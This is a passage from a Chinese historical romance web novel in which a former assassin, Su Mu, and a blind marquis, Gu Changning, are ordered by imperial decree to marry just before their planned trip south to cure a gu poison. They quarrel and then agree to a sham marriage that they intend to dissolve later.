苏木正懵,手下没来由地被顾长宁紧攥一分—— 第48章 送走了谢辞桉, 苏木忙甩开顾长宁牵着她的手,这一松开, 二人都有点尴尬。 但尴尬哪能盖掉苏木心头的莫名其妙,她怒目圆睁:“你们在里面说了什么?刚才又为何说出那番话?” 一时上火,苏木声音比往常要大上许多,因着答应顾长宁少说话,再加上她也知道做假籍是会牵扯到身家性命的,这才任由顾长宁这么一路牵着他到府门跟前。 顾长宁食指竖于唇前,做噤声状。 这一举动倒是提醒了苏木, 她目光朝四周而去, 这才发现从刚在东苑一直到府门, 不少下人一路惊讶叹声, 议论纷纷。 她这一嗓门,无疑会让他们讨论更甚。 但苏木也是好相与的, 她不想临走前还和顾长宁有各方面的纠缠。 顾长宁转身朝里去, 苏木紧跟一侧,声量放小了许多:“顾长宁, 解释一下。” 身侧人道:“稽查司的规矩就是凡进者皆要籍贯登记, 你的籍书不在身上亦不在侯府, 所以才出此策。京中黑市就做这样的生意,所以在你入狱后,我便派扬风去做了一份你的。” 顾长宁侧目:“但籍书用纸我的确未深究过, 稽查司也鲜有出狱者再被查籍之事,所以便是疏忽掉了这一点。”他叹气道:“造假籍虽是重罪,但无籍之人不经奴场而进上京乃是死罪。” “所以我认为,此法虽险,却能成事。” 苏木听完他语不屑:“可你此法却因着纰漏被谢辞桉找上门来。” “况且, 我是有籍之人,也不是私自进京。” 苏木的解释之语在顾长宁听来有些可笑,他淡哼出声:“苏姑娘自然是有籍之人,但是也是假籍,不是吗?” 他不知何时顿下脚步,在说这句话时向苏木侧身,明知故问。 他的意思很简单,苏木也是能知晓的。能进闳离阁的,大多是孤儿、无家恶魂……有良籍之人,谁稀得行刺杀之事。 顾长宁调查过闳离阁,自然是了解过的。 苏木一时语塞,但又不想落下风,于是峰回路转:“那你也不应该随口便说谎,况且,还是这等谎话。” 此话一出,顾长宁笑了。 他边往前走边摇头:“苏姑娘放心,顾某对你不感兴趣,此话只是为了保全你我二人。” “况且,谢辞桉与我也算故交,他是不会出尔反尔,将这件事一直揪着不放的。等你我二人前去南疆将蛊一解,你的婚嫁之事,自是与我无关的。” 一开始说话时顾长宁还带着些揶揄的笑意,但说完这些话后,他的语调下沉,一种不明的情绪在攻击着他。 苏木点头:“如此最好,哪我们明日出发去南疆?” 她很是着急,毕竟她那药铺子还张罗着开张,迟迟有事耽搁,那些个药农所贩草药一直堆压库中也不好。 顾长宁眉目微动:“明日太赶了,我得安排好侯府事宜,况且你我腿上应该都未好吧。骑马可是得废些脚力吧。” 苏木双手本双手环胸,听他提起脚伤之事,她这才想起二人坠崖前一人拧了脚一人腿上中了一箭,才过短短七日不到,修养的似乎也不算完全足够,若是途中病情反复,那只怕会耽搁更久。 苏木感受到脚腕处偶尔还能传来的刺痛,答应的爽快:“那五日如何,五日后我们便出发。” “好,那便五日。” 说罢,二人朝着不同方向而去。 顾长宁刚和苏木分开,扬风便立马凑了上来,一脸八卦:“公子,你真喜欢苏姑娘?” “公子,你真要和她去南疆?” “公子……” 顾长宁眸色渐沉,面色愈渐暗下:“扬风,你很闲是吧。” “籍书一事我还未问罪于你。” 扬风跟着顾长宁已有快二十个年头,哪里会听不出顾长宁语中不悦,随即止住自己还未说出口的话,立马拱手请罪:“公子,此事乃属下之过,属下甘愿领罚。” 平日里,扬风和凌风在他身侧更像是亲人和朋友的角色,但关于正事,他们二人从不马虎,谨遵主上的旨意。 所以认识到自己的错误,扬风立即弯腰请罪。 顾长宁面上冷沉未改,挥手道:“一会儿自己去领罚。明日,你就替我挑一匹良驹,以便我去往南疆。” 扬风遵旨,面上露着高兴。 府中领罚不过是少些俸禄,不比军中军棍,况扬风也听出自家公子话中的意思,他是要去南疆的。 扬风跟在自家公子身后,再未有一言。 一番折腾已至午时,顾长宁超前走着,鼻尖传来幽幽饭香,竟觉有些饿了,正转身往食阁而去,却一瞬怀中有一柔软之物相撞。 意识到是撞到了人,顾长宁连忙抬手将人扶住,只是手上却被一温热粘腻之物沾染,顾长宁蹙眉提醒:“小心。” 将人扶正后,顾长宁甩了甩手上所物,心下正有不悦,一娇柔女子声音传入耳中。 “是奴冲撞了侯爷,奴该死。” 说着,顾长宁听到怀中人一瞬弹开,随即一木托搁置声音传来,顾长宁的手被人牵起,手背被一丝滑之物覆盖,丝滑手帕触感尤为明显,是冲撞他的丫头正在擦拭他手中污秽。 扬风出声制止:“你叫什么名字,还不下去领罚。” 扬风声音略微严厉,一出声似乎将那人吓到一般,顾长宁感受到自己被人捧着的手立马松开,紧接着又听到一膝跪地之声。 “芜衣该死,这就下去领罚。” 说罢,顾长宁便听见木托又被人拿起。顾长宁皱眉,他觉得芜衣这个名字似乎有些熟悉。 可偏偏,他却死死想不起来。 “扬风,刚才之人你可见过?” “好像有些熟悉……我记起来了,苏姑娘初来侯府时和西苑之人起过争执,唯一帮着苏姑娘说话的人,好像就是她。” 难怪有些熟悉。 顾长宁脑中千绪变化,却没再搭话随即转身:“先去换身衣服。” …… 五日后出发去南疆,拿着五日内伤是要养的,但药铺之事也不能落下。苏木心知祝余也喜白术之术,于是这几日便和她一同打理铺子。 铺后有一小院,虽有些狭窄,但晒晒药材还是够用的。 几日未管医馆之事,药农们等苏木都等的那叫一个急,一开始还生怕人跑了,后来苏木亲自前往又交了银钱,他们这才放心。 但之前规划的是每日进些药材,也方便轮流着晾晒药材以及铺放药物,现下药材堆积,苏木和祝余这四天可算是忙坏了。 明日就要去南疆了,苏木坐在柜台前算着手里所剩银钱。也得亏谢辞桉大方,上次无意间碰上林氏求医,也白白让她赚了好些银钱。五锭大银,她就是看几十个诊,都不一定能赚到。 这下不光租了一家店面,且还有剩余银钱够维持医馆这几日生计,她也得留下些银钱方便路上买些干粮。 想到此,苏木便唤隔着一道门后院的祝余前来。 祝余掀开门帘便直直往柜台这边来,苏木将装满银钱的盒子推到祝余跟前:“我这一去最少也有半月,这些日子医馆之事就拜托你了。” 医馆还未开门接诊断,医馆名字她也还没想好,但铺中定是要有人日日打理的,这京中目前苏木可信之人便只有祝余了。 等医馆开张,有了这个名头,日后要去那家府中行走查事,那便方便许多了。 祝余见此慌忙推脱,一把又将盒子移至苏木跟前:“这些东西你小心放好,医馆之事我会替你看妥当,你安心去。” 苏木笑:“你不必推脱,医馆中还缺几位药材,等过几日便会有药农前来送货,那时你需得跟人交易,没些银钱算什么事情。” 她握住祝余的手:“我从未将你当过外人,这几日你在铺中忙前忙后也辛苦,这医馆你算是二当家的。二当家想当甩手掌柜可不行。” 祝余本还想推脱,但见苏木将话说到这个份上,话里话外都把自己看作自家人,她再多说些什么倒是显得做作。 祝余感动点头:“姐姐放心,等你回来了,医馆只需开张即可,祝余一定给你打理的井井有条的。” 苏木点头:“收好这些,你后院的东西都搬进屋了吧?” 已近傍晚,今日二人在院中晒了不少药材,本是二人一起搬,但是到了后面苏木感觉好不容易养好的脚腕又有了一丝抽痛,于是决定还是先休息片刻。 所以才在柜台上算起账来。 祝余道:“差不多了,还有点杂草未除,姐姐先回府收拾东西吧。” “不急,东西我都备好了。” 苏木仔细回想自己包袱种所带之物,不管是干粮、衣物、还是必备之药她都以放好,只等明日一早便要出发。 但仔细回想起来,苏木发觉有一事她好像漏了。 苏木跟着祝余来到后院,问她:“你知道芜衣吗?” 祝余眼下正收拾着一些因搬运而掉落地面的药材,听到身后这么一问,扫地动作停了下来:“好像不认识,怎么了?” 不认识也是正常的,苏木回想起来,她认识芜衣的时候祝余还未进府。 “没什么大事,主要是很久之前答应过人家要教她些防身之术,但因事情耽搁迟迟失约,想来有些不妥。” “若是她来寻我,你便替我转告她,下次归来我必定教她。” 祝余不解:“姐姐若有不便我可以替你教她,不必如此麻烦。” 苏木摇头解释:“你我都是闳离阁的人,我会武功之事府里人几乎都已知晓,你不便再暴露自身会武之事。” 多一个知道或者怀疑二人身份,对她二人都是不利的。 祝余点头,明白过来后也认同了苏木所说之话。 不过,她又在地上扒拉了两下便又问:“可是姐姐,师父派给我们的任务就是要杀了小侯爷,我们直接这样离去,妥当吗?” 妥当吗?自然是妥当的,她做事不受限制,即使是潇声所下命令,她不想做便可不做。而如今,白薇安然回了蔺州,她的蛊毒也要解了,她才不乐意再趟浑水。 苏木摇头,帮着祝余一同拾起地上草药:“此事你不用管,楼中不会管你我二人的。” 只要苏木不愿做的事情,没人能够强迫。 “可……姐姐,你也知楼中一旦接了单子,那是不死不休的,你不担心……还会有人刺杀小侯爷吗?” 祝余这一问,苏木手中动作一滞,她眉心微蹙,随即将草药放置篮中,语气中透着懒散:“此事一别,他的死活,与我无关。” 话题揭过,整个院中仿佛都静了下来,祝余点头,只专心捡着地上的草药,未表态度。 苏木垂眸,专心自己手上动作,可心中却似乎有一丝别样的东西在躁动。 她刚刚在听闻祝余此问后居然有了一丝犹豫,苏木十分不解自己这丝犹豫从何而来。她细细思索,难道是经历过一次共死,她已经把顾长宁当作朋友了? 思绪万千时,一凌乱脚步声自帘外袭来。门帘一掀开,扬风透着焦急的面容便浮现眼前,见到二人,他似乎松了一口气般咽下一气,随即喊道:“苏,苏姑娘,快回侯府吧。” “陛,陛下有旨,赐你与侯爷择日成婚!”—— 第49章 “陛, 陛下有旨,赐你与侯爷择日成婚!” 扬风的这句话如同惊雷落地, 砸的苏木脑袋嗡嗡作响,她竟以为自己听错了。 “扬风,你说什么?” 苏木站起身来,手中草药无意识地掉到地上,她无暇顾及,只死死地盯着扬风,想要从他口中得到回答。 扬风很是着急, 上前来努力平复了喘气:“苏, 苏姑娘, 陛下派李公公前来侯府传圣旨, 你还是快回去一趟吧。” 一旁祝余听到这话也是一惊,一时张口想说些什么, 但又不明情况, 只得拽了拽愣神的苏木衣袖:“姐姐,你快些去吧, 具体什么情况, 还得你去了才知道。” 苏木只觉头脑发怵, 在听到这声更确定性的回答后一时愣在原地,祝余的拉拽将她思绪收回,她敛眸, 神色晦暗:“我去看看怎么回事。” 说罢,她便先行一步掀开门帘而去。 苏木一出铺子便瞧见停靠在外的马车,那是侯府的轿子,想毕是随扬风而来的轿子。可轿子哪有自己的轻功快,苏木绕一甬道小巷, 轻点脚尖便如飞燕掠过尖角屋檐。 肆意的风呼呼在耳边拂过,四周都显得无比安静。 赐婚?和顾长宁? 怎会有如此荒唐之事,关于顾长宁和她的假关系,只有谢辞桉一人知晓,这件事难道传入了皇帝的耳朵,或者说真如扬风上次提醒一般,皇帝当真以为顾长宁心悦自己,想要通过自己拿捏顾长宁? 这未免也太可笑了。 苏木蹙眉思考,眼下一片墨深,思绪收回时,脚下速度越发的快了。 不一会儿,她便从侯府侧门而入。 刚停下来,未免气喘吁吁,衣衫被风袭之凌乱。苏木仔细着整理,这才顺着长廊往正厅而去。 刚转回廊,苏木便瞧见海棠树下一众人等跪于一地。顾长宁自然不例外,他跪于人群之首,在他前面所站的是穿着深绛色宫服的胡须老人,苏木记得他,在刑场那日立于皇帝跟前的就是他,想毕就是传旨的李公公。 苏木快步前往,脚还尚未踏入院中,便已瞧见顾长宁被凌风扶着,眼瞧着就要去接过李公公那手中圣旨。 心下一慌,苏木小跑起来,声音嘹亮:“且慢!” 循声所望,立于庭中的李公公便瞧见檐角处转来一女子,女子身着素白锦衫,步履款款,却因着急而脚下生风,面容姣好清丽,却素中带媚。 水红海棠花瓣飘洒而下,清风扫过时将地上掀起的花瓣晕做一团小龙卷,却被来者素衣女子一脚摁进泥里。 李公公面色不悦,怒斥道:“姑娘敢拦圣旨?” 他不知来者何人,毕竟她身上所着倒也不像是侯府婢女衣物,倒像是哪家清官家的大家闺秀。 但无论来者何人,就算是天王老子,那也除非是圣上亲自来了,否则这旨意也不是能随意叫人给打断收回的。 苏木已至于人前,她立于顾长宁身侧,眸色里顾长宁手中的黄色更是显眼。 她拱手一礼:“公公,奴乃苏木。” 本还生着愠气的李公公一听来者自称,面上不爽已稍稍缓和几分,随即捋了捋下颌胡须,淡笑:“原来你就是苏木?” “你来的恰好,陛下圣旨,念及新春宫宴功劳,又闻你与小侯爷情深意笃,特赐二者姻缘,虑你出身,以为侧室之位,喜结良缘。” 李公公眸中温煦,似是真心祝福一般,可苏木在真真实实地听到此旨意时面色更是一凝,她提裙而跪,语声笃笃:“苏木谢陛下隆恩,但,恕奴无法接旨。” 这话掷地有声,顿时让李公公那笑意未收到的嘴角僵在原处。 李公公眸色染上错愕,随即看向立于他前刚才正要接旨的顾长宁。 “小侯爷,这……” 他实在不解,就算他久居宫中,那也是知晓这昭明侯顾长宁在京中是颇受王公贵女所青睐的,三年前更是无数媒婆踏破门槛也要说上亲事。 他本想着,圣上赐下这桩婚事必定是这奴捡了便宜,毕竟这从奴飞身为主子,这可是别人攀都攀不来的高枝儿。 他还以为来传旨时,定会瞧见这叫苏木的女子是感激涕零的。 可眼下,这算怎么个事? 苏木也随李公公的眸光转瞧顾长宁,自上次五日约定过后,他俩几次都没碰到过面。她要去医馆忙她自己的事情,顾长宁也每日呆在东苑,不见人影。 今日瞧他,不知是伤病所累还是为自家长姐之事忧心,瞧着是比上次要清瘦许多,虽仪表还如往常倜傥,但下颌拐角却凹陷的越发的深。 只瞧着侧脸,苏木看不清顾长宁此刻的表情,只见他拱手示礼:“李公公,臣父未归,臣也未有正妻,内宅无人,家中无长,这婚的确让臣受宠若惊。” 顾长宁未直拒,但苏木听得出,他话里话外之意其实同她一样。 苏木见顾长宁站她一边,心下才长舒一口气。 李公公见此讪笑:“小侯爷,皇上也是听闻您说自身爱慕这位苏姑娘,老侯爷又不愿你娶一奴籍女子,这才亲自赐婚,侯爷难道要拂了皇上的一番美意?” 这话听着和睦,但话里藏锋,似乎顾长宁下一瞬说是,他便可以治了顾长宁抗旨之罪。 苏木瞧着李公公那皮笑肉不笑的脸,随即接过话口,语中带着一丝娇柔:“奴不愿为难侯爷,若是能常伴侯爷身侧便已知足,这侧室身份是万万不敢觊觎的,老侯爷既有次规矩,奴不敢冒犯,还望公公通融,求陛下收回旨意吧。” 李公公回想今日在殿中陛下所嘱托之话,冷睨一眼眼前之人,冷哼一声,语中带着不容忽视的冷厉:“你胆子倒是不小,还敢让陛下收回旨意?!” 苏木怕人动怒而得不偿失,于是立马跪地埋头:“奴不敢有此僭越之心。” 可就算如此,她浑身周遭没有颤抖之意,静默不动,跪在地上等着一个回答。 她心底盼着顾长宁能说上两句话,毕竟眼下她人微言轻,说出来的话自然也没有他这个昭明侯,长公主之子的话有用。 她微微侧目,用余光看向立于身侧的顾长宁,可他脚下未动,只瞧见垂于袍外那修长的食指不停的搓动着所戴扳指。 气氛一时凝住,一声漫不经心的轻笑打破了这无形的束缚。 “既如此,臣接旨。” 接旨? 顾长宁的话犹如断弦之声,一瞬涌入苏木的耳洞,刺耳却清晰地印刻在她的耳边。 什么叫做接旨? 苏木猛然抬起头看向顾长宁,未得公公准许,她直接起身,一瞬攥住顾长宁正要接旨的手腕。 她不允许,此旨若是落入顾长宁手中,那此事便再无回旋之余地。明明她马上就要离开侯府,明明她马上就可以解蛊去做自己想做之事,可为何要在此刻再次给她套上枷锁。 苏木死死地拽住顾长宁的手腕,她力道之大,似乎能够让顾长宁进退不得,这旨,这手,便这样停滞在空中,僵持不下。 她瞳孔缩紧死死地盯着顾长宁那冷峻的侧脸,她一直摇头,带着提醒的意味。又反应过来顾长宁眼盲,她握住顾长宁的手劲才更甚。 “顾长宁……” 她从牙缝中挤出这三个字,已经顾不得什么尊卑有序与礼节,反正她不是侯府之人,拼个鱼死网破,她就是逃了上京回闳离阁去又能如何。 可她却又冲动不得,理智拽着她的喉咙,不让她多发出一丝一毫的声音。 她要留在上京查明当年之事,她要带着顾长宁去南疆解蛊,她也做不到自己就这样逃走,变成一个逃犯…… 所以,她什么都说不得,她只能挤出这几个字。 是提醒,是警告……亦是祈求。 她攥着顾长宁衣袖的指尖深深嵌入肉里,锦缎被掐出深深的褶皱。 顾长宁身姿挺拔如松,在那道圣旨面前微微躬身,声音沉稳无波。 “臣,领旨谢恩。” 这五个字一落,如同冰水一般泼醒了苏木所带的祈求与期盼。她依旧死死地盯着他,眼底翻涌出难以置信的失望,她的力气大的出奇,指节因用力而泛白。 她感受到自己手背被一粗粝之感覆盖,随即一道比她力气更甚的五指将她指节掰开,随后双手接过了那道圣旨。 他眸色沉沉,未再多言。 李公公将一切收入眼中,但他下旨目的已达到,至于往后之事,便不是他能管的了。 他收起那副假意的笑容,正色道:“婚期定在本月上巳节,届时圣上会携娴妃亲自到场,以替老侯爷长亲之位。” “奴才旨意已带到,这便先行告退。” 说罢,李公公便甩了甩怀中浮沉,领着身后黄门幽幽而去。 凌风招呼着其余下人散去,瞧见庭中气氛不妙,随即躬身而退,未再多言。 庭中,只剩苏木与顾长宁二人。 若无顾长宁掌中明黄圣旨,刚才之事仿未发生过一般。 苏木未在庭中发泄,直至东苑主屋,她才冷声开口。 “为什么。” 她语气冷然如冰霜,一字一顿。 苏木紧攥自己袖下之手,刚刚压抑的怒火再也抑制不住,她抡拳而呼,似乎用尽所有力气,携带着眼底的冷冽,结结实实地砸入顾长宁的脸上。 这拳不轻,顾长宁虽知苏木眼下不悦,但也未料到眼前人能突然出手抡拳,他未有防备,被这股子力气打的往后连退好几步。 手杖助他顿住往后退的身形,他感受到嘴里晕开一层腥甜,嘴角也溢出一丝湿润。 他屈指擦唇,唇角血渍被一带而过,只剩唇角一丝肿红浮于其上。 第50章 顾长宁本想待人离去后再与她仔细说明, 可突来的这一拳却袭的他面色阴沉,眉尾更是牵出几分愠色, 他缓缓放下自己的手,随即拂袖转身。 苏木一时怒气冲头,她没意识到自己手下那拳头下手究竟有多重,只在瞧见他伸手擦去嘴角血渍时,她愣住了一瞬。 可一丝莫名情绪刚划过,苏木瞧他忽视所问,她更是乱气横生怒步上前, 一把拽过正要离去的顾长宁, 满声质问:“顾长宁!回答我!” 对比起苏木的怒火, 顾长宁显得冷静甚至是冷漠许多。 可她不在乎, 她不懂,为何二人五日前便约定好了解蛊后一别两宽, 才过四日, 两人又被一婚约捆绑在一起。 他明明有权有势,为什么就不争取一下…… 顾长宁手执乌木手杖, 愠色带着一抹冷笑:“回答你什么?” 他侧目, 虽无法与她对视, 但眸中凛然却不容忽视。 “你是觉得,我一个手无实权的瞎子,能有几条命去驳了圣旨?” 见他将此事说的轻巧如尘, 苏木甩开了攥住他的手,她语中带着嘲讽,失望地摇头,早已将那些桎梏顾长宁手脚的东西抛掷脑后,说话带着伤人的语气:“顾长宁, 我看不起你。” 以他的身份,他明明可以争取,明明可以再尝试,可他却什么都没做,直接接过了那圣旨。 若是他能试试,说不定结果会不一样的。古往今来,未曾没有听说过有帝王收回旨意之说,他连尝试都没有,就已接受。 这一语似是刺激到了眼前之人,顾长宁突然大笑:“看不起我?” “苏木,那日在屋中你我相谈,我以为你知我身不由己之处。” “干我何事?” 四字一吐,苏木浑身散发出冷漠气质,咄咄逼人。 怒意此刻冲昏苏木的头脑,她怒气无处发泄,一句顶一句:“就算你身不由己,就算你今日身首异处,与我苏木也无半点关系!” “我们本是协契互利的关系,可因你给我下蛊我受伤无数,因你入狱而造假籍,现在还要因你而被困侯府!顾长宁,因你,因你我才身不由己。” “你的身不由己,为何要强加在我的身上!” 她字字珠玑,将这短短两月所受之扰全部尽数吐出。之前所做之事乃是双方协定之事,就算她被烙铁、被尖刀一次次扎碾入肤,她也未曾动怒,因一切都是因她入侯府而始。 她满心以待解蛊之日,一次未能按约定罢了,现在眼看着就要去南疆的节骨眼发生这种事,意味着她就算蛊解或许也无法得到自由,这样的事搁谁身上不气。 苏木因激动而双肩发抖,她努力平复,随即背过身去,就算顾长宁瞧不见,她也不愿自己失控的情绪能暴露人前。 她的一字一句不带半分缓和,如同暴雨雷点砸落,落在顾长宁耳中如同荆棘万丛,刺的他说不出话来。 他以为,也许他们之间的关系没有那么生硬,至少经过这些天所历之事,也算朋友。 可她声声珠玑,一字一句。 他的死活,她不在乎。她一直在责怪自己。 是啊,没有理由不责怪,若换作他,他只怕会比苏木更加过分。 顾长宁苦笑摇头,随即将这分苦笑一瞬收回,浑身笼罩出嗜人般的冷冽,如同苏木除在牢狱里见到他一般。 “是啊,本侯自私。”顾长宁顿首冷笑:“可你别忘了,当初是你提出与我合作,而非我强制你为我做事,如果从牢里起你就安然等死,那后面这些事情都不会发生。” 苏木累的阖眼,她不愿和顾长宁吵,因为就算吵得翻天覆地,事情却还是没有解决。 “顾长宁,我没功夫和你吵。所以你回答我,这个婚是必须要成的?” 她的一分妥协换来了顾长宁的叹息,他顺着身后木椅所坐,扶额揉眉:“这是圣上赐婚,若你想抗旨,大可今日就离去。” 大可今日就离去?说的如此轻巧,她走了这蛊怎么半,若是顾长宁因抗旨而受罚,她在外所牵连之苦并不会消减半分。 何况,她要留在上京,她要留下来做自己想做的事情。 苏木的眸色越发的冷了,她转身冷眼看向扶额的人,她知他知道她不会就这样离去,所以,他才会接下圣旨。 所以不管苏木承不承认,刚才的情形,二人都别无选择,至于事后揍了顾长宁,那也只是怒火无处发泄。 细想下来,刚才自己过于冲动,苏木看向顾长宁的眼神闪过一丝莫名情绪,可她不是服输之人,缓口之话她说不出。 “顾长宁,我知此事你为难。”她努力安抚好自身情绪,顺势坐到与顾长宁隔桌的木椅之上,语气平缓许多:“上巳之后,我们将京中之事处理完,随即我便前往南疆寻巫师,确保巫师来去的安全,等蛊一解,此事缓和,我们就和离。” 苏木显然没有意识到皇家赐婚的严重性,顾长宁松开扶额的手,笑得苦涩:“苏木,圣上赐婚,除非他人同意,否则和离那也是抗旨之为。” “那你说怎么办!” 还未等顾长宁说完,苏木几乎拍案而起,恨不得直接掰过顾长宁的脑袋,问问他,看着他,逼迫他与她对视,认真的思考这个问题。 可她知道,就算她把顾长宁眼珠子挖出来,此事也不可行,就如眼前所商之事,好似一点回旋余地也无,苏木只觉心中闷气堵塞,恨不得掀桌拆了这侯府。 但好在顾长宁不是敷衍之人,他侧耳听到了苏木的不满,他眉峰上抬:“此事的确乃我所失,这一次你我之婚也是因我而起,既然如此,那便按照你说的来,待一月或两月过去,我便找理由与圣上相谈,到时我定还你自由。” 说到最后一句话时,苏木刚才心中所想像是被他知晓一般,他转头看向她时,竟直直地对视了上去。 顾长宁说的话的确也没错,新春宫宴一局就是由他所设,只是恐怕他也没想到,自己也悄然身出局中。 若是换一人入局,只怕也不会有假籍这等烂摊子出现了。 可又若是换一人入局,只怕她也早已死在侯府地牢。 所以无论怎么说,今日之事不是单方面谁所造成的结果,他们两人都有责任。 明知她看不见,可苏木还是下意识别过头,她语气闷闷,气馁般带着几不可察的讽意:“这样的话你不止说过一次,可哪一次实现了。” 第一次,任务一完成二人就去了郊外,但巫师却已死;第二次,二人共应五日后出发,皇帝却突然下令赐婚;而现在,他说两月过后他找机会向皇帝说明,然后和离。 她真的身心俱疲了。 苏木抬手紧揉眉心,她面露倦意:“可不管该不该信,眼下都无其它办法了。” 她看向顾长宁:“最后一次。” “顾长宁,我信你,最后一次。” 信任之话一旦出口,若守诺二者皆大欢喜,可一旦与初愿相背,却是撕破脸皮。 顾长宁却答应的爽快:“好。” 达成一致,苏木却没有舒心,此约一定,意味着上巳一到,她便成为了顾长宁的夫人,她总觉得,哪里怪怪的。 就算是假的,就算是被迫的,可婚娶向来是儿女一等一的大事,虽她从前从未思虑过这等事情,但却没想到这事一来就来的如此之快。 上巳节。 上一个上巳节,她是在蔺州度过的。一个人躺在孤冷的荒山之上,身上鲜血吸引了野外狼群,差一点,她就死在那处…… “既然此事达成一致,我还有些事情要与你所清楚。” 苏木拉回思绪点头:“你说。” “此刻纠结你我关系是何时传出去的已然不再重要,且不论是不是谢辞桉所说,圣上突然下旨必定有其深意,所以日后成婚出门在外,你我尽量表现正常,免得人怀疑你的身份。” 苏木觉她所言不无道理,未反驳,只淡嗯一声。 但他话中意思她都明白。深意,还能有何深意,不过是多一层牵绊顾长宁之人而已,不过这皇帝却不想二人之情是否为真,这般急着赐婚,的确不是稳重之人所为。 “还有……”顾长宁突而顿住,似在犹豫些什么,苏木看出,提醒道:“但说无妨。” “我需得和你确认一件事。” 见顾长宁神色突然凝重起来,苏木点头:“你说。” “此婚有蹊跷,或许圣上以后有策反你意……” “这你不用担心,巫师少说也得半月才能归京,在此期间,上头有任何想要纳我为用之心,我都不会接受的。” 她中断了顾长宁的话是因为她知道他在想什么,而他所想之事,也是扬风前几日对她所提之事。 她知顾长宁步履维艰,也知婚后二人暂为一体,如此蠢事,她不想亦不会去做。 顾长宁本还犹豫,但此事利弊关系重大,她知苏木是以蛊做筹码,她是明面的挑明了对他说,若是有策反之心,这蛊便自生自灭。 这蛊对她很重要,所以她这话,的确是能够让人确信的。 顾长宁点头,苏木也点头,二人之间好像再无其他话可说,一时之间,整个正厅都显得寂静冷清,空旷的让人尴尬。 苏木还得再平复平复自己的心情,她起身离开,耳后传来顾长宁的声音。 “三日之后便是上巳节。” “婚事礼节我会一应周全,不会委屈你的。” 顾长宁语气低沉,带着认真的意味。 可苏木不在乎这些,她只在乎蛊是否能解,婚是否能离。 她止步未转身,庭外传来长廊掀起的一阵阵风,惹得她衣诀乱飞,额前发丝在脑后肆意飘洒,苏木无奈中带着一丝豁达,淡笑无谓道:“那便如此。” …… 50-60 第51章 雨声将歇, 绯色海棠败落一地,夜里风声一阵一阵的, 本应该是舒爽的夜晚,坐在檐下木椅上的顾长宁却忧愁不断。 此事的确赖他,若不是一开始留了苏木一命,后面也不会有这么多麻烦事。 可虽是这样想,但一想起那清丽姣好面容,他心中又丝毫没有后悔留下她之意。 只是皇帝赐婚,是他万万没有料想到的, 说到底, 自己又亏欠了她一笔。 那天李公公颁旨, 他本想接旨后好好和苏木商谈此事, 也是想要许诺她,日后有机会必定不会阻挠她离去, 想解释此乃缓兵之计。 可话还没说, 一拳袭来,他也是猝不及防, 一时怒气上了头, 彼此都说了些不中听的话。 顾长宁长叹一声, 扶额无奈。 身后传来脚步声。 “公子,早些歇息吧,明日是你大婚的日子。” 扬风立于她身后, 看着这细雨渗着嗖嗖凉意,于是提醒。 “东厢房那边,可睡下了?” 扬风点头:“睡下了。” 东厢房是苏木所住之处,这几日那边好似没把成婚这件事放在心上,短短两日都在往府外跑。 想起这, 扬风想起这两日:“公子,这几日苏姑娘都在外,手下人说苏姑娘打算在城中开一家医馆,这件事,我们不管吗?” “为何要管。” “她做何事是她的自由。” 顾长宁冷声回答,后又松活一声:“不过你要派人时刻注意着医馆那边的动静,若有何不对劲,记得来报。” 苏木要开医馆这事,在他去竹林之前就已经知晓,只是当时想着过不了多久此人便和自己无甚瓜葛,因此也未做干涉。 不过眼下却不比之前,明日过后,苏木所代表的便是侯府,她若想做她之事他也不会阻拦,但若有过失之处会联系到侯府的,他也是断断不许的。 “府里一切都安置好了吗?” 顾长宁似乎听见风声挟裹着丝缎掀扬之声,那种声音,侯府平日是很少听到的。 明日大婚,今日定是已将绫罗红绸,大红喜字等事无巨细的安排好了。 他说过会以正妻之礼节待她,那他也绝不会食言。 “安置好了。” “行,你这几日辛苦一下,对待此事仔细些,我先睡下了。” …… 天色方明,嬷嬷侍婢已在屋内张罗。铜镜磨得透亮,映出女子娇媚面容。 梳头嬷嬷手法娴熟稳健,将铜镜中女子的乌发细细梳理,缝隙如柳丝,涣撒如墨,以油膏摸顺后再绾成高髻。鎏金珠翠步摇嵌着饱满玉润的明珠,晃动时曳出些碎光。 梳头嬷嬷插上最后一支珠钗,笑得欢喜:“老奴已给不少人梳头,却从未见过夫人这般明眸皓齿的美人。” 梳头嬷嬷说的话不假,铜镜中的人儿眉上远山黛,轻抹薄粉,肤色如雪,唇上朱红映若红霞,本是清丽疏离的面容多出几分明媚柔意。 可苏木眼中的黯淡嬷嬷却未瞧见。 祝余在苏木身侧,她瞧着铜镜中的面容,一时不知该说些什么,她眉间好像浮上一丝忧愁,随即瞥眼看向别处。 “嬷嬷辛苦了。” 苏木未接这声赞美,话落时身旁祝余便从袖中掏出些碎银交付给了嬷嬷。 那嬷嬷自然笑得嘴都合不拢:“谢谢夫人,现下无其他事了,老奴就先告退,若是有需要之处,夫人可唤祝余姑娘传我。” “去吧。” “好嘞。” 嬷嬷行礼告退,苏木抬手便遣散了其他下人,屋中一时只剩两人。 祝余握上苏木的手 ,语中浸满了担心:“姐姐,我还是不相信,你可没骗我。” 那日苏木回府后她紧跟其后,但她功夫不如苏木好,是和扬风同乘马车而归的,等到侯府时,已经听闻小侯爷和她领旨了。 她担心自家姐姐是被胁迫的,随即就去询问,可她的回答确是让她放宽心,此事乃她自愿。 可姐姐说着自愿,眼底却是一片淡然,没有一丝一毫要嫁给心爱之人的喜悦。她前段日子总是来去宫中,再加上每次回府小侯爷和她都不在,她也判断不出,二人之间是否如圣旨所传那般情深意笃。 苏木转头看她:“我骗你有甚好处?此事乃我们二人自愿,又有圣上赐婚,你该高兴才是。” 苏木是不喜解释之人,之前未告诉祝余中蛊一事,现下这些凌乱杂絮告诉她也是徒增烦恼,没有那个必要。 所以,在祝余问她时,她只说此事乃她自愿,无其他。 见祝余比她还委屈,苏木无奈摇头,装出一抹喜色:“我成婚,你为何还要哭鼻子。” “好啦,没事的,现下留在上京,日后行事有侯府作掩护,自然也是好的。” 听到这,祝余连忙抹眼泪,不禁疑惑:“做事?何事?师父向来不管你的,前几日给师父传书,她至今也未回。” “况且,你做了侯府夫人以后怕是不会回闳离阁了吧,你就踏踏实实的,其余之事,还是不要冒险了。” 既然姐姐觅得良人,祝余不希望苏木再干刀尖上舔血的日子,而且自家师父从来不管苏木之事,如此和闳离阁断了关系那也是好的。 可祝余不知苏木留上京的真正目的,她也不知苏木真实身份。 她自然是不受闳离阁控制的,不管是过去还是现在。但灭门之仇她一刻也不敢忘,留在上京,她必须要手刃仇人,报仇雪恨。 苏木淡笑点头:“的确如此,往后我便和你一同开个医馆,然后做个侯府夫人,也是挺好。” “好。” 